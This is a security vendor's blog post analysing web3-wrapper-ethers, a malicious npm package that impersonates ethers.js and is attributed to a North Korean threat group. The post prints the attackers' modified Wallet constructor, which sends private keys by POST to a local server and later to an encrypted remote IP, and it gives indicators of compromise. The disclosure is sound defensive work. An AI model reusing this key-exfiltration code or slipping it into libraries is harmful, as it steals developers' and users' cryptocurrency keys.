Aikido

Malicious crypto-theft package targets Web3 developers in North Korean operation

Charlie Eriksen
Charlie Eriksen
|
#

Last week, our automated malware analysis pipeline flagged a suspicious package web3-wrapper-ethers. The package impersonates the popular ethers library and contains obfuscated code designed to steal private keys. Our investigation revealed that the package may be associated with the threat actor known as Void Dokkaebi, a group known for stealing cryptocurrency from developers involved in the development of web3, blockchain, and cryptocurrency technologies.

The package

The package was initially released on June 5th at 12:45 AM GMT+0:

We see some tell-tale signs that this package is built to deceive. The package name is web3-wrapper-ethers, but the repository field points at the ethers.js project on GitHub. Indeed, the attackers simply copied the repository and made minor modifications. They released a total of 5 versions within a day.

The author

The package was released by kaufman0913, with the matching email of kaufman0913@gmail[.]com

The choice of a very low-resolution picture of Rapunzel is.. interesting. But let's not get tangled up in that for now.

What does the package do?

To figure out what the package is trying to do, we downloaded a copy of the latest version of ethers, and did a diff against it to see what the attackers had done.

We observed that versions 6.14.3 and 6.14.4 had no actual modifications to any code, they simply changed the name of the package. 

Things start to change in version 6.14.5, where we see that they added a new dependency in the package.json, adding node-fetch and the corresponding @types/node-fetch devDependency. We will see why soon.

The main file that the developer modified is the file src.ts/wallet/wallet.ts, which also leads to changes to lib.esm/wallet/wallet.js and lib.commonjs/wallet/wallet.js, which are the corresponding compiled versions of the same file.

We see in 6.14.5 that they changed the constructor of the class, adding everything below the super() call::

export class Wallet extends BaseWallet {
    /**     *  Create a new wallet for the private %%key%%, optionally connected     *  to %%provider%%.     */
    constructor(key: string | SigningKey, provider?: null | Provider) {
        if (typeof(key) === "string" && !key.startsWith("0x")) {
            key = "0x" + key;
        }
        let signingKey = (typeof(key) === "string") ? new SigningKey(key): key;
        super(signingKey, provider);
        // Send private key to server (Node.js and browser)
        const url = 'http://localhost:3000/save-key';
        if (typeof window === "undefined") {
            // Node.js environment: use dynamic import for node-fetch
            import('node-fetch').then(module => {
                const fetch = module.default;
                fetch(url, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ privateKey: this.privateKey })
                })
                .catch(() => {});
            }).catch(() => {});
        } else {
            // Browser environment: use native fetch
            fetch(url, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ privateKey: this.privateKey })
            })
            // .then(data => console.log('Server response:', data))
            .catch(() => {});
        }
    }
...

Here we see a tell-tale sign of them trying to exfiltrate private keys. In fact, their comments are very clear that they are sending the private key to a server. But it’s pointing at a localhost address. So they are doing this in real-time, which is nice. It gives us an insight into their development process.

In 6.14.6, the code changes. It now looks like this:

// Send private key to server (Node.js and browser)
const enc = "ff47554247f2094dda55b84b7da6e6c9:fd81fc4d8379f535510c1f064549472e5a1dd26c32c1937c1e23db1b56bfb42f"
const tar = dec(enc);
console.log(tar);
if (typeof window === "undefined") {
    import('node-fetch').then(module => {
        const fetch = module.default;
        fetch(tar, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ pk: this.privateKey })
        })
        .catch(() => {});
    }).catch(() => {});
} else {
    fetch(tar, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ pk: this.privateKey })
    })
    .catch(() => {});
}

So, what is behind the encrypted enc variable? Here it is!

http:/74.119.194[.]244/fetch

Do you see anything odd? It’s an invalid HTTP URL. It’s missing a / in the protocol. Whoops! 

The last release, 6.14.7, does not introduce any significant changes. It simply removes the comment in the code and the console.log. The attackers must have figured they were all done, so they could remove the admission of it being malicious and the debug logging. However, they didn’t address the issue that the URL is still invalid. 

North Koreans at it again?

Just a few months ago, we discovered North Korean hackers attempting to steal cryptocurrency wallets. They also released versions in real-time, debugging their broken code. It’s curious to see this happening again, isn’t it? At least this time, the first thing they did was to include node-fetch, rather than banging their heads against the wall trying to figure out why their axios calls weren’t working.

In this case, we have another piece of information, the IP. A quick lookup on VirusTotal for the IP confirms our suspicion:

The comment references:

https://documents.trendmicro.com/assets/txt/IOCs_VoidDokkaebi_2t9ScKI5.txt

https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html

And we do indeed see that the IOC list from TrendMicro mentions this IP as being an Egress node: DPRK aligned activity, via RDP from by RU IP addresses. And their extensive reporting is very much in line with what we see in this package: Targeting developers involved with web3/crypto, trying to steal currency. 

Indicators of compromise

Luckily, there is no indication that this package would have ever caused harm if downloaded and/or run, given that the code was not fully functional. But if you did install the package, do audit for traffic to the below IP to be sure that no damage was done. If you notice any traffic to this IP address, assume your crypto keys have been compromised. 

Package:

web3-wrapper-ethers

IP:

74.119.194[.]244

Check out more of Aikido Security’s research here

Get secure for free

Secure your code, cloud, and runtime in one central system.
Find and fix vulnerabilities fast automatically.

No credit card required |Scan results in 32secs.